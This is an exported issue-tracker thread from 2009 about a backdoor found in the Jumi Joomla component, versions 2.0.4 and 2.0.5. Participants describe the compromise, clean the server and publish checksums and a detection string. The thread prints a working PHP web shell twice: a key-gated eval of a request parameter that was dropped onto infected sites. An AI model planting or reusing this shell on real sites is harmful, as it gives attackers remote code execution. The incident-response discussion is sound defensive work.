BACKDOOR in JUMI 2.0.5

[GoogleCodeExporter]

See http://seclists.org/bugtraq/2009/Oct/300

There is a backdoor in JUMI that installs itself when JUMI is installed on your 
web site. It sends your 
credentials to a website, and sets up a back door for remote code execution.

Please remove JUMI2.0.5 from the download page immediately to stop people 
falling victim to this. 
It will be simple enough to remove the compromised code from this download, but 
you need to do 
a full security audit on your site as well as you have been compromised.

Cheers,
Stephen

Original issue reported on code.google.com by adse...@clanbrandon.co.uk on 30 Oct 2009 at 9:13

[GoogleCodeExporter]

2.0.5 downloads have been stopped.

Cannot figure out where the backdoor is at this moment.

Original comment by martin2hajek@gmail.com on 31 Oct 2009 at 8:31

• Added labels: Priority-Critical
• Removed labels: Priority-Medium

[GoogleCodeExporter]

The backdoor in the code itself is easy to find - it's the obfuscated code in 
install.package.php.

It's easy to unobfuscate the code: from the command line:

php -r "echo gzinflate(base64_decode('... the big long base64 string from the 
code... '));"

That uncovers the basic hack, then there's a further obfuscation inside that 
that places the following code 
onto the server:

<?php  
if(empty ($_REQUEST['key']) || 
sha1(md5($_REQUEST['key']))!='0b6045b268cf676864a27d9663cee0a634431467'){header(
"HTTP/1.0 404 Not 
Found"); exit();}
header("Content-Type: Text/Plain");
eval(stripslashes($_REQUEST['php']));
 ?>

And that's the backdoor that the attacker can use to get in.

Cheers,
Stephen

Original comment by adse...@clanbrandon.co.uk on 31 Oct 2009 at 8:40

[GoogleCodeExporter]

I've got it: the code of install.package.php (part of zip package) was modified 
AFTER
it was uploaded to the server for downloads.

Thanks again Stephen!

I will have to
a) return it to its original stage
b) publish md5sum of files for download
c) and then I will try to apply further measures preventing hackers to do that 
in the
future.

Original comment by martin2hajek@gmail.com on 31 Oct 2009 at 9:06

[GoogleCodeExporter]

Yes - so this means that your server has been compromised, and the hacker can 
change whichever files he wants 
on it. That's why you need a full security audit on your site. There are 
obviously other holes on your site that 
have been exploited. Maybe he can even publish a new md5sum after changing the 
file...

Original comment by adse...@clanbrandon.co.uk on 31 Oct 2009 at 9:14

[GoogleCodeExporter]

Brrrrrrrrr!
I realize that.
I think (and hope) it's just only due to the rather outdated installed 
Remository
component. There were some issues reported (and fixed) there during last ten 
months ...

And again - thanks Stephen for your valuable, I'm sure, time.

Original comment by martin2hajek@gmail.com on 31 Oct 2009 at 9:37

[GoogleCodeExporter]

* Jumi 2.0.5 is back again for the downloads.
* Verified other files for downloads - they are OK.
* Secured files for downloads with MD5 sum.

Original comment by martin2hajek@gmail.com on 31 Oct 2009 at 12:07

[GoogleCodeExporter]

There were two excessive files there:
* language\en-GB\.en-GB.ignore.php
* templates\rhuk_milkyway\html\.modules.php

containing the mentioned code only
<?php  
if(empty ($_REQUEST['key']) ||
sha1(md5($_REQUEST['key']))!='0b6045b268cf676864a27d9663cee0a634431467'){header(
"HTTP/1.0
404 Not Found"); exit();}
header("Content-Type: Text/Plain");
eval(stripslashes($_REQUEST['php']));
 ?>

Hell knows how he/she can place them ...

Original comment by martin2hajek@gmail.com on 31 Oct 2009 at 12:54

[GoogleCodeExporter]

1. I have checked up the whole server by
http://blog.unmaskparasites.com/2009/10/23/revenge-of-gumblar-zombies/
In fact I have found and cleaned several other backdoor scripts there.
2. Have checked another possible holes by
http://docs.joomla.org/Security_and_Performance_FAQs
have not found any.
3. Content od MySQL is OK.

Hell knows how he/she can place infected files there. The most probable thing 
is a
stolen FTP credential. Changing passwords ...

For now it seems to me everything is OK but I will watch files regularly from 
now.

Original comment by martin2hajek@gmail.com on 31 Oct 2009 at 4:34

• Changed state: Done

[GoogleCodeExporter]

How can you use the same releasenumber (2.0.5)? People won't know if they have 
the 
backdoor release or a good one!

Have a look: http://packetstormsecurity.org/0910-advisories/joomlajumi-
backdoored.txt 
Can You release a 2.0.6?

Mart

Original comment by TijnPe...@gmail.com on 2 Nov 2009 at 11:59

[GoogleCodeExporter]

It is important to realise that any user who has installed this infected 
version is
not safe just because they have no installed the fixed version. 

Your site might have already been hacked and another backdoor placed on the 
site.

Exploited yesterday... Hacked tomorrow
http://brian.teeman.net/tips-and-tricks/help-my-joomla-web-site-has-been-hacked.
html

Original comment by jooml...@googlemail.com on 2 Nov 2009 at 1:06

[GoogleCodeExporter]

is this the only version affected?

Original comment by victor.d...@gmail.com on 2 Nov 2009 at 1:28

[GoogleCodeExporter]

Without published md5 for each version or pgp keysigned downloads its 
impossible to
determine you will have to check your own download

Original comment by jooml...@googlemail.com on 2 Nov 2009 at 2:54

[GoogleCodeExporter]

The site was affected on October 26. The only Jumi affected was ver 2.0.5.
I compared it with daily backup.

I restored and verified site and files on October 30. Changed passwords, ftp, 
etc.
And still watching now.

For each Jumi file there is an md5 sum published + big warning.

Original comment by martin2hajek@gmail.com on 2 Nov 2009 at 3:26

[GoogleCodeExporter]

"The site was affected on October 26."

I'm pretty sure that's not true since I found a copy of the hacked
install.package.php dated October 20th on one of my sites. There were other 
installs
of 2.0.5 that were not affected but it was compromised before the 26th.

Original comment by jnestor...@bluewatermedia.com on 2 Nov 2009 at 6:36

[GoogleCodeExporter]

Well that's really interesting. Backups from 20th October were OK.
Have you got an idea how it could be?

Original comment by martin2hajek@gmail.com on 2 Nov 2009 at 7:11

[GoogleCodeExporter]

Sorry, I double checked and it was a version of 2.0.4 that was similarly 
affected. It
was downloaded on 10/15/2009. I'm not sure why the file I saw on the server was 
dated
10/20 but the original zip downloaded on 10/15 was definitely affected.

Original comment by jnestor...@bluewatermedia.com on 2 Nov 2009 at 7:37

[GoogleCodeExporter]

Oh, thank you! I have not checked up the old versions. And you are right: 2.0.4,
which is not available for the download any more, is affected.
(Very, very, very unpleasant. Probably stolen ftp access. Files for downloads 
are
outside domain root. Or stolen superadmin + .htaccess passwords (I have double 
access
to admin area). Now it is changed - but for how long???).

Please, you seem to be very knowledgeable: what is, in your opinion, the best 
way to
announce the situation to the Joomla community? To prevent spreading backdoors
through affected Jumi? This is the most important task now I think.

Original comment by martin2hajek@gmail.com on 2 Nov 2009 at 8:25

[GoogleCodeExporter]

About the file of 10/20. I had that also but it was of the year 2008!
I did have the exploit but it was not in the 2.0.5 I installed! It must have 
been 
been because of the 2.0.1 release that I had before (not in the installation).
About informing the Joomla community.
Please release a 2.0.6 release that is equal as 2.0.5, so everyone is sure to 
have a 
valid release without the exploit.

Original comment by TijnPe...@gmail.com on 3 Nov 2009 at 10:05

[GoogleCodeExporter]

The affected Jumi component on my site was downloaded on 10/15 but installed on 
that
particular site on 10/20 which is why it was dated 10/20 on the server. I 
haven't
seen that anyone used the backdoor to do anything to the site.

I'd also echo the recommendation that you increment the version number just so 
that
people can know they have a clean version.

Original comment by jnestor...@bluewatermedia.com on 3 Nov 2009 at 6:55

[GoogleCodeExporter]

Did this affect version 2.1.0 Beta3? That is the version I have been using since
April, and I wanted to make sure I'm safe. Thanks!

Original comment by grayce.e...@gmail.com on 3 Nov 2009 at 8:34

[GoogleCodeExporter]

2.1.0 beta3 was not found to be infected. Version 2.0.5  and 2.0.4 were. String
"gzinflate(base64" found in any Jumi php file indicates infection.

Jumi site and all the files for downloads were checked and are clear now.
I applied several quick changes and preventions measures.

However I did not found the reason of being hacked. Have just unconfirmed 
hypothesis.
So we are preparing strong measures that will be applied within few days.
The incrementation of version number is a good idea (thanks) and will be 
applied too. 

Original comment by martin2hajek@gmail.com on 3 Nov 2009 at 9:26

[GoogleCodeExporter]

I have Jumi 2.0.4 downloaded 9/16/2009 and it does not appear to be infected.  I
grepped all files for gzinflate with no hits.

Original comment by dcham...@gmail.com on 7 Nov 2009 at 6:55

[GoogleCodeExporter]

How do you grep a file or directory to check for gzinflate?

Original comment by shackb...@gmail.com on 8 Nov 2009 at 6:28